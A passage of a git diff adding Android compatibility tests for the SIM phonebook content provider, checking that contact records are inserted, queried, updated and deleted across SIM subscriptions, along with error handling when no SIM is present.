+                            "5550104");
+        }
+    }
+
+    @Test
+    public void insertAdn_returnsUriForCorrectSim() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name Sim1");
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+        Uri uriSim1 = mResolver.insert(SimRecords.getContentUri(mSubscriptionId1, EF_ADN), values);
+        values.put(SimRecords.NAME, "Name Sim2");
+        values.put(SimRecords.PHONE_NUMBER, "5550102");
+        Uri uriSim2 = mResolver.insert(SimRecords.getContentUri(mSubscriptionId2, EF_ADN), values);
+
+        String[] projection = {
+                SimRecords.SUBSCRIPTION_ID,
+                SimRecords.PHONE_NUMBER
+        };
+        try (Cursor sim1Cursor = query(uriSim1, projection);
+             Cursor sim2Cursor = query(uriSim2, projection)) {
+            assertThat(sim1Cursor).hasSingleRow(mSubscriptionId1, "Name Sim1");
+            assertThat(sim2Cursor).hasSingleRow(mSubscriptionId2, "Name Sim2");
+        }
+    }
+
+    @Test
+    public void updateAdn_updatesCorrectRecord() {
+        Uri sim1Uri = insertAdn(mSubscriptionId1, "Initial", "5550101");
+        Uri sim2Uri = insertAdn(mSubscriptionId2, "Initial", "5550101");
+
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Updated Sim1");
+        values.put(SimRecords.PHONE_NUMBER, "5550102");
+
+        int count = mResolver.update(sim1Uri, values, null);
+        assertThat(count).isEqualTo(1);
+
+        values.put(SimRecords.NAME, "Updated Sim2");
+        values.put(SimRecords.PHONE_NUMBER, "5550103");
+
+        count = mResolver.update(sim2Uri, values, null);
+        assertThat(count).isEqualTo(1);
+
+        String[] projection =
+                {SimRecords.SUBSCRIPTION_ID, SimRecords.NAME, SimRecords.PHONE_NUMBER};
+        try (Cursor cursor1 = query(SimRecords.getContentUri(mSubscriptionId1, EF_ADN), projection);
+             Cursor cursor2 = query(SimRecords.getContentUri(mSubscriptionId2, EF_ADN),
+                     projection)) {
+            assertThat(cursor1).hasSingleRow(mSubscriptionId1, "Updated Sim1", "5550102");
+            assertThat(cursor2).hasSingleRow(mSubscriptionId2, "Updated Sim2", "5550103");
+        }
+    }
+
+    @Test
+    public void deleteAdn_deletesCorrectRecord() {
+        Uri sim1Uri = insertAdn(mSubscriptionId1, "Initial", "5550101");
+        Uri sim2Uri = insertAdn(mSubscriptionId2, "Initial", "5550101");
+
+        int count = mResolver.delete(sim1Uri, null);
+        assertThat(count).isEqualTo(1);
+
+        try (Cursor cursor1 = query(SimRecords.getContentUri(mSubscriptionId1, EF_ADN), null);
+             Cursor cursor2 = query(SimRecords.getContentUri(mSubscriptionId2, EF_ADN), null)) {
+            assertThat(cursor1).hasCount(0);
+            assertThat(cursor2).hasCount(1);
+        }
+
+        // Add back record for first SIM card
+        insertAdn(mSubscriptionId1, "Initial", "5550101");
+
+        count = mResolver.delete(sim2Uri, null);
+        assertThat(count).isEqualTo(1);
+
+        try (Cursor cursor1 = query(SimRecords.getContentUri(mSubscriptionId1, EF_ADN), null);
+             Cursor cursor2 = query(SimRecords.getContentUri(mSubscriptionId2, EF_ADN), null)) {
+            assertThat(cursor1).hasCount(1);
+            assertThat(cursor2).hasCount(0);
+        }
+    }
+
+    @NonNull
+    private Cursor query(Uri uri, String[] projection) {
+        return Objects.requireNonNull(mResolver.query(uri, projection, null, null));
+    }
+
+    private Uri insertAdn(int subscriptionId, String name, String phoneNumber) {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, name);
+        values.put(SimRecords.PHONE_NUMBER, phoneNumber);
+        return mResolver.insert(SimRecords.getContentUri(subscriptionId, EF_ADN), values);
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsNoSimTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsNoSimTest.java
new file mode 100644
index 0000000..55fdd41
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsNoSimTest.java
@@ -0,0 +1,243 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_ADN;
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_FDN;
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_SDN;
+
+import static com.android.internal.telephony.testing.TelephonyAssertions.assertThrows;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.SimPhonebookContract;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+import android.provider.SimPhonebookContract.SimRecords;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.util.Objects;
+
+/** Tests of {@link SimRecords} that validate the behavior when no SIM is present. */
+@RunWith(AndroidJUnit4.class)
+public class SimPhonebookContract_SimRecordsNoSimTest {
+    private static final int MISSING_SIM_SUBSCRIPTION_ID = 9043;
+    private static final String MISSING_SIM_EXCEPTION_MESSAGE =
+            "No active SIM with subscription ID " + MISSING_SIM_SUBSCRIPTION_ID;
+
+    @Rule
+    public final TestRule telephonyRequirementRule =
+            new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY);
+
+    private Context mContext;
+    private ContentResolver mResolver;
+
+    @Before
+    public void setUp() {
+        mContext = ApplicationProvider.getApplicationContext();
+        mResolver = mContext.getContentResolver();
+    }
+
+    @Test
+    public void getType_recordsDir() {
+        assertThat(
+                mResolver.getType(SimRecords.getContentUri(1, ElementaryFiles.EF_ADN))).isEqualTo(
+                SimRecords.CONTENT_TYPE);
+        assertThat(
+                mResolver.getType(SimRecords.getContentUri(1, ElementaryFiles.EF_FDN))).isEqualTo(
+                SimRecords.CONTENT_TYPE);
+        assertThat(
+                mResolver.getType(SimRecords.getContentUri(1, ElementaryFiles.EF_SDN))).isEqualTo(
+                SimRecords.CONTENT_TYPE);
+    }
+
+    @Test
+    public void getType_recordItem() {
+        assertThat(
+                mResolver.getType(SimRecords.getItemUri(1, ElementaryFiles.EF_ADN, 3))).isEqualTo(
+                SimRecords.CONTENT_ITEM_TYPE);
+        assertThat(
+                mResolver.getType(SimRecords.getItemUri(1, ElementaryFiles.EF_FDN, 3))).isEqualTo(
+                SimRecords.CONTENT_ITEM_TYPE);
+        assertThat(
+                mResolver.getType(SimRecords.getItemUri(1, ElementaryFiles.EF_SDN, 3))).isEqualTo(
+                SimRecords.CONTENT_ITEM_TYPE);
+    }
+
+    @Test
+    public void getType_invalidUri_returnsNull() {
+        assertThat(mResolver.getType(
+                SimRecords.getContentUri(1, ElementaryFiles.EF_ADN).buildUpon().appendPath(
+                        "invalid").build())).isNull();
+    }
+
+    @Test
+    public void query_nonExistentSim_throwsIllegalArgumentException() {
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class,
+                () -> query(SimRecords.getContentUri(MISSING_SIM_SUBSCRIPTION_ID, EF_ADN), null)
+        );
+        assertThat(e).hasMessageThat().isEqualTo(MISSING_SIM_EXCEPTION_MESSAGE);
+
+        e = assertThrows(IllegalArgumentException.class,
+                () -> query(SimRecords.getContentUri(MISSING_SIM_SUBSCRIPTION_ID, EF_FDN), null)
+        );
+        assertThat(e).hasMessageThat().isEqualTo(MISSING_SIM_EXCEPTION_MESSAGE);
+
+        e = assertThrows(IllegalArgumentException.class,
+                () -> query(SimRecords.getContentUri(MISSING_SIM_SUBSCRIPTION_ID, EF_SDN), null)
+        );
+        assertThat(e).hasMessageThat().isEqualTo(MISSING_SIM_EXCEPTION_MESSAGE);
+    }
+
+    @Test
+    public void query_invalidUri_throwsIllegalArgumentException() {
+        assertThrows(IllegalArgumentException.class, () -> query(SimRecords.getContentUri(1,
+                EF_ADN).buildUpon().appendPath("invalid").build(), null)
+        );
+    }
+
+    @Test
+    public void query_subscriptionIdOverflow_throwsIllegalArgumentException() {
+        assertThrows(IllegalArgumentException.class, () ->
+                query(SimPhonebookContract.AUTHORITY_URI.buildUpon()
+                        .appendPath("subid")
+                        .appendPath(Long.toString(Long.MAX_VALUE))
+                        .appendPath("adn").build(), null));
+        assertThrows(IllegalArgumentException.class, () ->
+                query(SimPhonebookContract.AUTHORITY_URI.buildUpon()
+                        .appendPath("subid")
+                        .appendPath(Long.toString(Long.MAX_VALUE))
+                        .appendPath("fdn").build(), null));
+        assertThrows(IllegalArgumentException.class, () ->
+                query(SimPhonebookContract.AUTHORITY_URI.buildUpon()
+                        .appendPath("subid")
+                        .appendPath(Long.toString(Long.MAX_VALUE))
+                        .appendPath("sdn").build(), null));
+    }
+
+    @Test
+    public void insert_nonAdnDirUris_throwsUnsupportedOperationException() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+        values.put(SimRecords.PHONE_NUMBER, "8005550101");
+
+        assertThrows(UnsupportedOperationException.class,
+                () -> mResolver.insert(
+                        SimRecords.getContentUri(MISSING_SIM_SUBSCRIPTION_ID, EF_FDN), values));
+        assertThrows(UnsupportedOperationException.class,
+                () -> mResolver.insert(
+                        SimRecords.getContentUri(MISSING_SIM_SUBSCRIPTION_ID, EF_SDN), values));
+        assertThrows(UnsupportedOperationException.class, () ->
+                mResolver.insert(
+                        SimRecords.getItemUri(MISSING_SIM_SUBSCRIPTION_ID, ElementaryFiles.EF_ADN,
+                                1),
+                        values));
+        assertThrows(UnsupportedOperationException.class, () ->
+                mResolver.insert(
+                        SimRecords.getItemUri(MISSING_SIM_SUBSCRIPTION_ID, ElementaryFiles.EF_FDN,
+                                1),
+                        values));
+        assertThrows(UnsupportedOperationException.class, () ->
+                mResolver.insert(
+                        SimRecords.getItemUri(MISSING_SIM_SUBSCRIPTION_ID, ElementaryFiles.EF_SDN,
+                                1),
+                        values));
+    }
+
+    @Test
+    public void insertAdn_throwsCorrectException() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class,
+                () -> mResolver.insert(
+                        SimRecords.getContentUri(MISSING_SIM_SUBSCRIPTION_ID, EF_ADN), values));
+
+        assertThat(e).hasMessageThat().isEqualTo(MISSING_SIM_EXCEPTION_MESSAGE);
+    }
+
+    @Test
+    public void updateAdn_throwsCorrectException() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class, () ->
+                mResolver.update(SimRecords.getItemUri(
+                        MISSING_SIM_SUBSCRIPTION_ID, ElementaryFiles.EF_ADN, 1), values, null));
+
+        assertThat(e).hasMessageThat().isEqualTo(MISSING_SIM_EXCEPTION_MESSAGE);
+    }
+
+    @Test
+    public void deleteAdn_throwsCorrectException() {
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class, () ->
+                mResolver.delete(SimRecords.getItemUri(
+                        MISSING_SIM_SUBSCRIPTION_ID, ElementaryFiles.EF_ADN, 1), null));
+
+        assertThat(e).hasMessageThat().isEqualTo(MISSING_SIM_EXCEPTION_MESSAGE);
+    }
+
+    @Test
+    public void getEncodedNameLength_emptyName() {
+        assertThat(SimRecords.getEncodedNameLength(mResolver, "")).isEqualTo(0);
+    }
+
+    @Test
+    public void getEncodedNameLength_basicGsm() {
+        // This isn't actually exhaustive of all the basic GSM alphabet characters but
+        // it's pretty good coverage. These should all require 1 byte each when encoded.
+        String name = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 1234567890"
+                + "!@#$%&*()_+,.?;:<>";
+        assertThat(SimRecords.getEncodedNameLength(mResolver, name)).isEqualTo(name.length());
+    }
+
+    @Test
+    public void getEncodedNameLength_ucsEncodable() {
+        String name = "日本";
+        // This won't use GMS alphabet so at minimum it will need to use a byte to indicate the
+        // encoding and then also multiple bytes for the characters (or another offset byte).
+        assertThat(SimRecords.getEncodedNameLength(mResolver, name))
+                .isGreaterThan(name.length() + 1);
+
+        // When the name contains a mix it still must use a less efficient encoding.
+        name = "abc日本";
+        assertThat(SimRecords.getEncodedNameLength(mResolver, name))
+                .isGreaterThan(name.length() + 1);
+    }
+
+
+    @NonNull
+    private Cursor query(Uri uri, String[] projection) {
+        return Objects.requireNonNull(mResolver.query(uri, projection, null, null));
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
new file mode 100644
index 0000000..37ea8f6
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsTest.java
@@ -0,0 +1,726 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_ADN;
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_FDN;
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_SDN;
+
+import static com.android.internal.telephony.testing.CursorSubject.assertThat;
+import static com.android.internal.telephony.testing.TelephonyAssertions.assertThrows;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.platform.test.annotations.LargeTest;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+import android.provider.SimPhonebookContract.SimRecords;
+import android.telephony.PhoneNumberUtils;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Objects;
+
+/** Tests of {@link SimRecords}. */
+@RunWith(AndroidJUnit4.class)
+public class SimPhonebookContract_SimRecordsTest {
+    /**
+     * The pin2 to use for modifying FDN data.
+     *
+     * <p>This can be configured by passing a value for the --instrumentation-arg option with key
+     * "sim-pin2"
+     */
+    private String mPin2 = "1234";
+
+    private final SimsCleanupRule mAdnCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_ADN);
+    private final SimsCleanupRule mFdnCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_FDN);
+    @Rule
+    public final TestRule mRule = RuleChain
+            .outerRule(new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY))
+            .around(new SimPhonebookRequirementsRule())
+            .around(mAdnCleanupRule);
+    /**
+     * The number of records in the SDN file for the SIM card.
+     *
+     * <p>This can be configured by passing a value for the --instrumentation-arg option with key
+     * "sim-sdn-count"
+     */
+    private int mSdnCount = 0;
+
+    private Context mContext;
+    private ContentResolver mResolver;
+    private int mDefaultSubscriptionId;
+    public static final String PHONE_REQUIRED_MESSAGE = SimRecords.PHONE_NUMBER + " is required.";
+
+    @Before
+    public void setUp() {
+        mContext = ApplicationProvider.getApplicationContext();
+        mResolver = mContext.getContentResolver();
+        mDefaultSubscriptionId = new RemovableSims(mContext).getDefaultSubscriptionId();
+
+        Bundle args = InstrumentationRegistry.getArguments();
+        if (args.containsKey("sim-pin2")) {
+            mPin2 = args.getString("sim-pin2");
+            mFdnCleanupRule.setPin2(mPin2);
+        }
+        if (args.containsKey("sim-sdn-count")) {
+            mSdnCount = Integer.parseInt(args.getString("sim-sdn-count"));
+        }
+    }
+
+    @Test
+    public void queryAdn_nullProjection_returnsCursorWithAllSupportedColumns() {
+        Uri uri = SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN);
+        String[] projection = null;
+        try (Cursor cursor = query(uri, projection)) {
+            assertThat(cursor.getColumnNames()).asList().containsAtLeast(
+                    SimRecords.SUBSCRIPTION_ID,
+                    SimRecords.ELEMENTARY_FILE_TYPE,
+                    SimRecords.RECORD_NUMBER,
+                    SimRecords.NAME,
+                    SimRecords.PHONE_NUMBER
+            );
+        }
+    }
+
+    @Test
+    public void queryAdn_nonNullProjection_returnsCursorWithProvidedProjection() {
+        Uri adnUri = SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN);
+
+        try (Cursor cursor = query(adnUri, new String[]{SimRecords.NAME})) {
+            assertThat(cursor).hasColumnNames(SimRecords.NAME);
+        }
+
+        String[] all = {
+                SimRecords.SUBSCRIPTION_ID, SimRecords.RECORD_NUMBER,
+                SimRecords.NAME, SimRecords.PHONE_NUMBER
+        };
+
+        Collections.shuffle(Arrays.asList(all));
+        try (Cursor cursor = query(adnUri, all)) {
+            assertThat(cursor).hasColumnNames(all);
+        }
+
+        Collections.shuffle(Arrays.asList(all));
+        try (Cursor cursor = query(adnUri, all)) {
+            assertThat(cursor).hasColumnNames(all);
+        }
+    }
+
+    @Test
+    public void queryAdn_noAdnRecords_returnsEmptyCursor() {
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                null)) {
+            assertThat(cursor).hasCount(0);
+        }
+    }
+
+    @Test
+    public void queryFdn_noFdnRecords_returnsEmptyCursor() {
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_FDN),
+                null)) {
+            assertThat(cursor).hasCount(0);
+        }
+    }
+
+    @Ignore
+    @Test
+    public void querySdn_returnsCursorWithSdnRecords() {
+        // Create an ADN contact to validate that this query at least returns something different
+        // than the ADN.
+        insertAdn(mDefaultSubscriptionId, "Adn", "5550101");
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_SDN),
+                null)) {
+            assertThat(cursor).hasCount(mSdnCount);
+        }
+    }
+
+    @Test
+    public void queryAdn_nonEmpty_returnsAdnRecordsFromSim() {
+        insertAdn(mDefaultSubscriptionId, "Name1", "5550101");
+        insertAdn(mDefaultSubscriptionId, "Name2", "5550102");
+        insertAdn(mDefaultSubscriptionId, "Name3", "5550103");
+
+        String[] projection = {
+                SimRecords.SUBSCRIPTION_ID,
+                SimRecords.ELEMENTARY_FILE_TYPE,
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        };
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                projection)) {
+            assertThat(cursor).hasCount(3);
+            assertThat(cursor).atRow(0)
+                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_ADN, "Name1",
+                            "5550101");
+            assertThat(cursor).atRow(1)
+                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_ADN, "Name2",
+                            "5550102");
+            assertThat(cursor).atRow(2)
+                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_ADN, "Name3",
+                            "5550103");
+        }
+    }
+
+    @Ignore
+    @Test
+    public void queryFdn_nonEmpty_returnsFdnRecordsFromSim() throws Exception {
+        insertFdn(mDefaultSubscriptionId, "Name1", "5550101");
+        insertFdn(mDefaultSubscriptionId, "Name2", "5550102");
+        insertFdn(mDefaultSubscriptionId, "Name3", "5550103");
+
+        String[] projection = {
+                SimRecords.SUBSCRIPTION_ID,
+                SimRecords.ELEMENTARY_FILE_TYPE,
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        };
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_FDN),
+                projection)) {
+            assertThat(cursor).hasCount(3);
+            assertThat(cursor).atRow(0)
+                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_FDN, "Name1",
+                            "5550101");
+            assertThat(cursor).atRow(1)
+                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_FDN, "Name2",
+                            "5550102");
+            assertThat(cursor).atRow(2)
+                    .hasRowValues(mDefaultSubscriptionId, ElementaryFiles.EF_FDN, "Name3",
+                            "5550103");
+        }
+    }
+
+    @Test
+    public void query_itemUri_returnsCursorWithCorrectItem() {
+        Uri insert1 = insertAdn(mDefaultSubscriptionId, "Name1", "18005550101");
+        Uri insert2 = insertAdn(mDefaultSubscriptionId, "Name2", "18005550102");
+        Uri insert3 = insertAdn(mDefaultSubscriptionId, "Name3", "18005550103");
+
+        String[] projection = {SimRecords.RECORD_NUMBER};
+        int index1, index2, index3;
+        try (Cursor cursor1 = query(insert1, projection);
+             Cursor cursor2 = query(insert2, projection);
+             Cursor cursor3 = query(insert3, projection)
+        ) {
+            cursor1.moveToFirst();
+            index1 = cursor1.getInt(0);
+            cursor2.moveToFirst();
+            index2 = cursor2.getInt(0);
+            cursor3.moveToFirst();
+            index3 = cursor3.getInt(0);
+        }
+
+        projection = new String[]{SimRecords.NAME, SimRecords.PHONE_NUMBER};
+        // By default the insert returns the item uri but we won't require it in CTS.
+        try (Cursor cursor1 = query(SimRecords.getItemUri(
+                mDefaultSubscriptionId, ElementaryFiles.EF_ADN, index1), projection);
+             Cursor cursor2 = query(
+                     SimRecords.getItemUri(mDefaultSubscriptionId, ElementaryFiles.EF_ADN, index2),
+                     projection);
+             Cursor cursor3 = query(
+                     SimRecords.getItemUri(mDefaultSubscriptionId, ElementaryFiles.EF_ADN, index3),
+                     projection)
+        ) {
+            assertThat(cursor1).hasSingleRow("Name1", "18005550101");
+            assertThat(cursor2).hasSingleRow("Name2", "18005550102");
+            assertThat(cursor3).hasSingleRow("Name3", "18005550103");
+        }
+
+    }
+
+    @Test
+    public void query_indexOutOfBounds_returnsEmptyCursor() {
+        int maxRecords;
+        try (Cursor cursor = query(
+                ElementaryFiles.getItemUri(mDefaultSubscriptionId, ElementaryFiles.EF_ADN),
+                new String[]{ElementaryFiles.MAX_RECORDS})) {
+            cursor.moveToFirst();
+            maxRecords = cursor.getInt(0);
+        }
+
+        try (Cursor cursor = query(SimRecords.getItemUri(mDefaultSubscriptionId,
+                ElementaryFiles.EF_ADN, maxRecords + 1), null)) {
+            assertThat(cursor).hasCount(0);
+        }
+    }
+
+    @Test
+    public void insertAdn_addsRecordAndReturnsValidUri() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+        values.put(SimRecords.PHONE_NUMBER, "8005550101");
+
+        Uri uri = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+
+        try (Cursor cursor = query(uri, new String[]{
+                SimRecords.SUBSCRIPTION_ID,
+                SimRecords.ELEMENTARY_FILE_TYPE,
+                SimRecords.RECORD_NUMBER,
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        })) {
+            assertThat(cursor).hasSingleRow(
+                    mDefaultSubscriptionId, ElementaryFiles.EF_ADN,
+                    Integer.parseInt(uri.getLastPathSegment()),
+                    "Name", "8005550101");
+        }
+    }
+
+    @Test
+    public void updateAdn_existingRecord_updatesRecordAndReturns1() {
+        Uri uri = insertAdn(mDefaultSubscriptionId, "Initial", "8005550101");
+
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Updated");
+        values.put(SimRecords.PHONE_NUMBER, "8005550102");
+        int count = mResolver.update(uri, values, null);
+        mResolver.update(uri, values, null, null);
+
+        assertThat(count).isEqualTo(1);
+        try (Cursor cursor = query(uri, new String[]{
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        })) {
+            assertThat(cursor).hasSingleRow("Updated", "8005550102");
+        }
+    }
+
+    @Test
+    public void updateAdn_unusedIndex_updatesRecordAndReturns1() {
+        Uri uri = SimRecords.getItemUri(mDefaultSubscriptionId, EF_ADN, 1);
+        // Assert for clarity that there is no data stored for record number 1
+        try (Cursor cursor = query(uri, null)) {
+            assertThat(cursor).hasCount(0);
+        }
+
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Updated");
+        values.put(SimRecords.PHONE_NUMBER, "8005550102");
+        int count = mResolver.update(uri, values, null);
+        mResolver.update(SimRecords.getItemUri(mDefaultSubscriptionId, EF_ADN, 1), values, null,
+                null);
+
+        assertThat(count).isEqualTo(1);
+        try (Cursor cursor = query(uri, new String[]{
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        })) {
+            assertThat(cursor).hasSingleRow("Updated", "8005550102");
+        }
+    }
+
+    @Test
+    public void deleteAdn_existingRecord_removesRecordAndReturns1() {
+        Uri uri = insertAdn(mDefaultSubscriptionId, "Initial", "8005550101");
+
+        int count = mResolver.delete(uri, null);
+        mResolver.delete(uri, null, null);
+
+        assertThat(count).isEqualTo(1);
+        try (Cursor cursor = query(uri, null)) {
+            assertThat(cursor).hasCount(0);
+        }
+    }
+
+    @Test
+    public void insertThenDeleteAdn_urisRemainValid() {
+        Uri uri1 = insertAdn(mDefaultSubscriptionId, "Name1", "5550101");
+        Uri uri2 = insertAdn(mDefaultSubscriptionId, "Name2", "5550102");
+        Uri uri3 = insertAdn(mDefaultSubscriptionId, "Name3", "5550103");
+
+        mResolver.delete(uri2, null);
+        Uri uri4 = insertAdn(mDefaultSubscriptionId, "Name4", "5550104");
+
+        String[] projection = {
+                SimRecords.RECORD_NUMBER,
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        };
+
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                projection)) {
+            // We don't require a specific order.
+            assertThat(cursor).asLists().containsExactlyElementsIn(
+                    ImmutableList.of(
+                            ImmutableList.of(uri1.getLastPathSegment(), "Name1", "5550101"),
+                            ImmutableList.of(uri3.getLastPathSegment(), "Name3", "5550103"),
+                            ImmutableList.of(uri4.getLastPathSegment(), "Name4", "5550104")
+                    )
+            );
+        }
+    }
+
+    @Test
+    public void insertAdn_phoneNumberWithDialableNonDigits_addsRecord() {
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, "Name");
+        String phone = "+1234567890#*" + PhoneNumberUtils.PAUSE + PhoneNumberUtils.WAIT
+                + PhoneNumberUtils.WILD;
+        values.put(SimRecords.PHONE_NUMBER, phone);
+        Uri uri = mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                values);
+
+        try (Cursor cursor = query(uri, new String[]{
+                SimRecords.NAME, SimRecords.PHONE_NUMBER
+        })) {
+            assertThat(cursor).hasSingleRow("Name", phone);
+        }
+    }
+
+    @Test
+    public void insertAdn_valueLengthLimits() {
+        String name;
+        String phoneNumber;
+        // Get the limits and create data from them.
+        try (Cursor cursor = query(
+                ElementaryFiles.getItemUri(mDefaultSubscriptionId, ElementaryFiles.EF_ADN),
+                new String[]{
+                        ElementaryFiles.NAME_MAX_LENGTH,
+                        ElementaryFiles.PHONE_NUMBER_MAX_LENGTH
+                })) {
+            cursor.moveToFirst();
+            char[] chars = new char[cursor.getInt(0)];
+            Arrays.fill(chars, 'a');
+            name = new String(chars);
+            chars = new char[cursor.getInt(1)];
+            Arrays.fill(chars, '1');
+            phoneNumber = new String(chars);
+        }
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.NAME, name);
+        values.put(SimRecords.PHONE_NUMBER, phoneNumber);
+        // Creating an item with values at the limits should succeed
+        mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN), values);
+
+        // The name exceeds the max length by 1
+        values.put(SimRecords.NAME, name + "b");
+        IllegalArgumentException e = assertThrows(IllegalArgumentException.class,
+                () -> mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                        values));
+        assertThat(e).hasMessageThat().isEqualTo(SimRecords.NAME + " is too long.");
+
+        // The phone number exceeds the max length by 1
+        values.put(SimRecords.NAME, name);
+        values.put(SimRecords.PHONE_NUMBER, phoneNumber + '2');
+        e = assertThrows(IllegalArgumentException.class,
+                () -> mResolver.insert(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                        values));
+        assertThat(e).hasMessageThat().isEqualTo(SimRecords.PHONE_NUMBER + " is too long.");
+
+        // Check that only the initial insert added data.
+        try (Cursor cursor = query(SimRecords.getContentUri(mDefaultSubscriptionId, EF_ADN),
+                new String[]{SimRecords.NAME, SimRecords.PHONE_NUMBER})) {
+            assertThat(cursor).hasSingleRow(name, phoneNumber);
+        }
+    }
+
+    @Test
+    public void insertAdn_phoneNumberOnly_addsRecord() {
+        ContentValues values = new ContentValues();
